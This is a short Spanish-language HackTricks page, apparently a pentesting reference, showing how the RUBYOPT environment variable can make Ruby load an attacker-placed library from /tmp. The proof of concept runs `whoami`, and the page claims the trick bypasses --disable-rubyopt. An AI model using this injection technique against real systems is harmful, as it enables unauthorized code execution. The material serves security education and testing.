hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md

3.2 KiB

Inyección en Aplicaciones Ruby de macOS

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

RUBYOPT

Usando esta variable de entorno es posible añadir nuevos parámetros a ruby cada vez que se ejecuta. Aunque el parámetro -e no se puede usar para especificar código ruby a ejecutar, es posible usar los parámetros -I y -r para añadir una nueva carpeta al camino de carga de las bibliotecas y luego especificar una biblioteca para cargar.

Crea la biblioteca inject.rb en /tmp:

{% code title="inject.rb" %}

puts `whoami`
{% endcode %}

Crea en cualquier lugar un script de ruby como:

{% code title="hello.rb" %}
puts 'Hello, World!'
{% endcode %}

Luego haz que un script de ruby arbitrario lo cargue con:
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Dato curioso, funciona incluso con el parámetro --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: